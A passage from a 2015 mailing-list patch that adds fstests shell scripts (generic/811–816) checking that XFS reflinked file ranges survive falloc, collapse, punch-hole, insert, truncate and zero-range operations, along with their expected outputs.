$TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_xfs_io_command "falloc" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "truncate $((BLKSZ * 5))" -c "pwrite -S 0x61 0 $(( (BLKSZ * 5) + 37))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "truncate $((BLKSZ * 5))" -c "reflink $TESTDIR/file1 $BLKSZ $BLKSZ $(( (BLKSZ * 4) + 37))" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "truncate $((BLKSZ * 5))" -c "reflink $TESTDIR/file1 0 0 $BLKSZ" $TESTDIR/file3 >> $seqres.full +$XFS_IO_PROG -f -c "truncate $((BLKSZ * 5))" -c "reflink $TESTDIR/file1 $BLKSZ $BLKSZ $BLKSZ" $TESTDIR/file4 >> $seqres.full +$XFS_IO_PROG -f -c "truncate $((BLKSZ * 5))" -c "reflink $TESTDIR/file1 $((BLKSZ * 3)) $((BLKSZ * 3)) $BLKSZ" $TESTDIR/file4 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file5 +_test_remount + +echo "Compare sections" +c0=$(_md5_range_checksum $TESTDIR/file1 $BLKSZ $(( BLKSZ * 4 + 37 ))) +c1=$(_md5_range_checksum $TESTDIR/file2 $BLKSZ $(( BLKSZ * 4 + 37 ))) +test $c0 = $c1 || echo "shared parts of files 1-2 changed" + +c0=$(_md5_range_checksum $TESTDIR/file1 0 $BLKSZ) +c1=$(_md5_range_checksum $TESTDIR/file3 0 $BLKSZ) +test $c0 = $c1 || echo "shared parts of files 1-3 changed" + +c0=$(_md5_range_checksum $TESTDIR/file1 $BLKSZ $BLKSZ) +c1=$(_md5_range_checksum $TESTDIR/file4 $BLKSZ $BLKSZ) +test $c0 = $c1 || echo "shared parts of files 1-4 changed" + +c0=$(_md5_range_checksum $TESTDIR/file1 0 $((BLKSZ * 5 + 37))) +c1=$(_md5_range_checksum $TESTDIR/file5 0 $((BLKSZ * 5 + 37))) +test $c0 = $c1 || echo "shared parts of files 1-5 changed" + +echo "Compare files" +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" +C5="$(_md5_checksum $TESTDIR/file5)" + +test "${C1}" != "${C2}" || echo "file1 and file2 should not match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C1}" = "${C5}" || echo "file1 and file5 should match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C2}" != "${C5}" || echo "file2 and file5 should not match" +test "${C3}" != "${C4}" || echo "file3 and file4 should not match" +test "${C3}" != "${C5}" || echo "file3 and file5 should not match" +test "${C4}" != "${C5}" || echo "file4 and file5 should not match" + +echo "falloc everything" +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 5))" $TESTDIR/file2 +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 5))" $TESTDIR/file3 +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 5))" $TESTDIR/file4 +_test_remount + +echo "Compare files" +D1="$(_md5_checksum $TESTDIR/file1)" +D2="$(_md5_checksum $TESTDIR/file2)" +D3="$(_md5_checksum $TESTDIR/file3)" +D4="$(_md5_checksum $TESTDIR/file4)" +D5="$(_md5_checksum $TESTDIR/file5)" + +test "${C1}" = "${D1}" || echo "file1 should not change" +test "${C2}" = "${D2}" || echo "file2 should not change" +test "${C3}" = "${D3}" || echo "file3 should not change" +test "${C4}" = "${D4}" || echo "file4 should not change" +test "${C5}" = "${D5}" || echo "file2 should not change" + +# success, all done +status=0 +exit diff --git a/tests/generic/811.out b/tests/generic/811.out new file mode 100644 index 0000000..d9fa011 --- /dev/null +++ b/tests/generic/811.out @@ -0,0 +1,6 @@ +QA output created by 811 +Create the original files +Compare sections +Compare files +falloc everything +Compare files diff --git a/tests/generic/812 b/tests/generic/812 new file mode 100755 index 0000000..0564ec3 --- /dev/null +++ b/tests/generic/812 @@ -0,0 +1,116 @@ +#! /bin/bash +# FS QA Test No. 812 +# +# Ensure that collapse range steps around reflinked ranges: +# - Create three reflink clones of a file +# - Collapse the start, middle, and end of the reflink range of each +# of the three files, respectively +# - Check that the reflinked areas are still there. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "fcollapse" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file4 +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 4))" $TESTDIR/file1 +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 4))" $TESTDIR/file2 +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 4))" $TESTDIR/file3 +$XFS_IO_PROG -f -c "falloc 0 $((BLKSZ * 4))" $TESTDIR/file4 + +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $BLKSZ" -c "pwrite -S 0x63 $BLKSZ $BLKSZ" -c "pwrite -S 0x00 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file2.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x63 $BLKSZ $BLKSZ" -c "pwrite -S 0x00 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file3.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x62 $BLKSZ $BLKSZ" -c "pwrite -S 0x00 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4.chk >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" = "${C3}" || echo "file1 and file3 should match" +test "${C1}" = "${C4}" || echo "file1 and file4 should match" +test "${C2}" = "${C3}" || echo "file2 and file3 should match" +test "${C2}" = "${C4}" || echo "file2 and file4 should match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "fcollapse files" +$XFS_IO_PROG -f -c "fcollapse 0 $BLKSZ" $TESTDIR/file2 +$XFS_IO_PROG -f -c "fcollapse $BLKSZ $BLKSZ" $TESTDIR/file3 +$XFS_IO_PROG -f -c "fcollapse $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4 +_test_remount + +echo "Compare files" +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" != "${C2}" || echo "file1 and file2 should not match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" != "${C4}" || echo "file3 and file4 should not match" + +echo "Compare against check files" +cmp -s $TESTDIR/file2 $TESTDIR/file2.chk || echo "file2 and file2.chk do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file3.chk || echo "file3 and file3.chk do not match" +cmp -s $TESTDIR/file4 $TESTDIR/file4.chk || echo "file4 and file4.chk do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/812.out b/tests/generic/812.out new file mode 100644 index 0000000..6f3e403 --- /dev/null +++ b/tests/generic/812.out @@ -0,0 +1,5 @@ +QA output created by 812 +Create the original files +fcollapse files +Compare files +Compare against check files diff --git a/tests/generic/813 b/tests/generic/813 new file mode 100755 index 0000000..ee399fc --- /dev/null +++ b/tests/generic/813 @@ -0,0 +1,112 @@ +#! /bin/bash +# FS QA Test No. 813 +# +# Ensure that punch-hole steps around reflinked ranges: +# - Create three reflink clones of a file +# - Punch the start, middle, and end of the reflink range of each +# of the three files, respectively +# - Check that the reflinked areas are still there. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "fpunch" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file4 + +$XFS_IO_PROG -f -c "pwrite -S 0x00 0 $BLKSZ" -c "pwrite -S 0x62 $BLKSZ $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file2.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x00 $BLKSZ $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file3.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x62 $BLKSZ $BLKSZ" -c "pwrite -S 0x00 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4.chk >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" = "${C3}" || echo "file1 and file3 should match" +test "${C1}" = "${C4}" || echo "file1 and file4 should match" +test "${C2}" = "${C3}" || echo "file2 and file3 should match" +test "${C2}" = "${C4}" || echo "file2 and file4 should match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "fpunch files" +$XFS_IO_PROG -f -c "fpunch 0 $BLKSZ" $TESTDIR/file2 +$XFS_IO_PROG -f -c "fpunch $BLKSZ $BLKSZ" $TESTDIR/file3 +$XFS_IO_PROG -f -c "fpunch $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4 +_test_remount + +echo "Compare files" +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" != "${C2}" || echo "file1 and file2 should not match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" != "${C4}" || echo "file3 and file4 should not match" + +echo "Compare against check files" +cmp -s $TESTDIR/file2 $TESTDIR/file2.chk || echo "file2 and file2.chk do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file3.chk || echo "file3 and file3.chk do not match" +cmp -s $TESTDIR/file4 $TESTDIR/file4.chk || echo "file4 and file4.chk do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/813.out b/tests/generic/813.out new file mode 100644 index 0000000..c4de817 --- /dev/null +++ b/tests/generic/813.out @@ -0,0 +1,5 @@ +QA output created by 813 +Create the original files +fpunch files +Compare files +Compare against check files diff --git a/tests/generic/814 b/tests/generic/814 new file mode 100755 index 0000000..55ac879 --- /dev/null +++ b/tests/generic/814 @@ -0,0 +1,112 @@ +#! /bin/bash +# FS QA Test No. 814 +# +# Ensure that insert range steps around reflinked ranges: +# - Create three reflink clones of a file +# - Insert into the start, middle, and end of the reflink range of each +# of the three files, respectively +# - Check that the reflinked areas are still there. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "finsert" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file4 + +$XFS_IO_PROG -f -c "pwrite -S 0x00 0 $BLKSZ" -c "pwrite -S 0x61 $BLKSZ $BLKSZ" -c "pwrite -S 0x62 $((BLKSZ * 2)) $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 3)) $BLKSZ" $TESTDIR/file2.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x00 $BLKSZ $BLKSZ" -c "pwrite -S 0x62 $((BLKSZ * 2)) $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 3)) $BLKSZ" $TESTDIR/file3.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x62 $BLKSZ $BLKSZ" -c "pwrite -S 0x00 $((BLKSZ * 2)) $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 3)) $BLKSZ" $TESTDIR/file4.chk >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" = "${C3}" || echo "file1 and file3 should match" +test "${C1}" = "${C4}" || echo "file1 and file4 should match" +test "${C2}" = "${C3}" || echo "file2 and file3 should match" +test "${C2}" = "${C4}" || echo "file2 and file4 should match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "finsert files" +$XFS_IO_PROG -f -c "finsert 0 $BLKSZ" $TESTDIR/file2 +$XFS_IO_PROG -f -c "finsert $BLKSZ $BLKSZ" $TESTDIR/file3 +$XFS_IO_PROG -f -c "finsert $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4 +_test_remount + +echo "Compare files" +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" != "${C2}" || echo "file1 and file2 should not match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" != "${C4}" || echo "file3 and file4 should not match" + +echo "Compare against check files" +cmp -s $TESTDIR/file2 $TESTDIR/file2.chk || echo "file2 and file2.chk do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file3.chk || echo "file3 and file3.chk do not match" +cmp -s $TESTDIR/file4 $TESTDIR/file4.chk || echo "file4 and file4.chk do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/814.out b/tests/generic/814.out new file mode 100644 index 0000000..c80eccb --- /dev/null +++ b/tests/generic/814.out @@ -0,0 +1,5 @@ +QA output created by 814 +Create the original files +finsert files +Compare files +Compare against check files diff --git a/tests/generic/815 b/tests/generic/815 new file mode 100755 index 0000000..eb835ef --- /dev/null +++ b/tests/generic/815 @@ -0,0 +1,103 @@ +#! /bin/bash +# FS QA Test No. 815 +# +# Ensure that truncating the last block in a reflinked file CoWs appropriately: +# - Create a file that doesn't end on a block boundary +# - Create two reflink clones of the file +# - Shorten one of the clones with truncate +# - Lengthen the other clone with truncate +# - Check that the reflinked areas are still there. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "truncate" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ 37" $TESTDIR/file1 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 + +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file2.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ 34" $TESTDIR/file2.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file3.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ 37" $TESTDIR/file3.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x00 $((BLKSZ + 37)) 3" $TESTDIR/file3.chk >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" = "${C3}" || echo "file1 and file3 should match" +test "${C2}" = "${C3}" || echo "file2 and file3 should match" + +echo "truncate files" +$XFS_IO_PROG -f -c "truncate $((BLKSZ + 34))" $TESTDIR/file2 +$XFS_IO_PROG -f -c "truncate $((BLKSZ + 40))" $TESTDIR/file3 +_test_remount + +echo "Compare files" +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" + +test "${C1}" != "${C2}" || echo "file1 and file2 should not match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" + +echo "Compare against check files" +cmp -s $TESTDIR/file2 $TESTDIR/file2.chk || echo "file2 and file2.chk do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file3.chk || echo "file3 and file3.chk do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/815.out b/tests/generic/815.out new file mode 100644 index 0000000..1804af5 --- /dev/null +++ b/tests/generic/815.out @@ -0,0 +1,5 @@ +QA output created by 815 +Create the original files +truncate files +Compare files +Compare against check files diff --git a/tests/generic/816 b/tests/generic/816 new file mode 100755 index 0000000..121cde0 --- /dev/null +++ b/tests/generic/816 @@ -0,0 +1,112 @@ +#! /bin/bash +# FS QA Test No. 816 +# +# Ensure that zero-range steps around reflinked ranges: +# - Create three reflink clones of a file +# - Zero-range the start, middle, and end of the reflink range of each +# of the three files, respectively +# - Check that the reflinked areas are still there. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "fzero" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file4 + +$XFS_IO_PROG -f -c "pwrite -S 0x00 0 $BLKSZ" -c "pwrite -S 0x62 $BLKSZ $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file2.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x00 $BLKSZ $BLKSZ" -c "pwrite -S 0x63 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file3.chk >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" -c "pwrite -S 0x62 $BLKSZ $BLKSZ" -c "pwrite -S 0x00 $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4.chk >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" = "${C3}" || echo "file1 and file3 should match" +test "${C1}" = "${C4}" || echo "file1 and file4 should match" +test "${C2}" = "${C3}" || echo "file2 and file3 should match" +test "${C2}" = "${C4}" || echo "file2 and file4 should match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "fzero files" +$XFS_IO_PROG -f -c "fzero 0 $BLKSZ" $TESTDIR/file2 +$XFS_IO_PROG -f -c "fzero $BLKSZ $BLKSZ" $TESTDIR/file3 +$XFS_IO_PROG -f -c "fzero $((BLKSZ * 2)) $BLKSZ" $TESTDIR/file4 +_test_remount + +echo "Compare files" +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" != "${C2}" || echo "file1 and file2 should not match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" != "${C4}" || echo "file3 and file4 should not match" + +echo "Compare against check files" +cmp -s $TESTDIR/file2 $TESTDIR/file2.chk || echo "file2 and file2.chk do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file3.chk || echo "file3 and file3.chk do not match" +cmp -s $TESTDIR/file4 $TESTDIR/file4.chk || echo "file4 and file4.chk do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/816.out b/tests/generic/816.out new file mode 100644 index 0000000..2071d87 --- /dev/null +++ b/tests/generic/816.out @@ -0,0 +1,5 @@ +QA output created by 816 +Create the original files +fzero files +Compare files +Compare against check files diff --git a/tests/generic/group b/tests/generic/group index 6734822..b4ba56a 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -218,6 +218,12 @@ 808 auto quick clone 809 auto quick clone 810 auto quick clone +811 auto quick clone +812 auto quick clone +813 auto quick clone +814 auto quick clone +815 auto quick clone +816 auto quick clone 817 auto quick clone 818 auto quick clone 819 auto quick clone From darrick.wong@oracle.com Wed Oct 7 00:14:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0125529EFE for ; Wed, 7 Oct 2015 00:14:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E5487304039 for ; Tue, 6 Oct 2015 22:14:00 -0700 (PDT) X-ASG-Debug-ID: 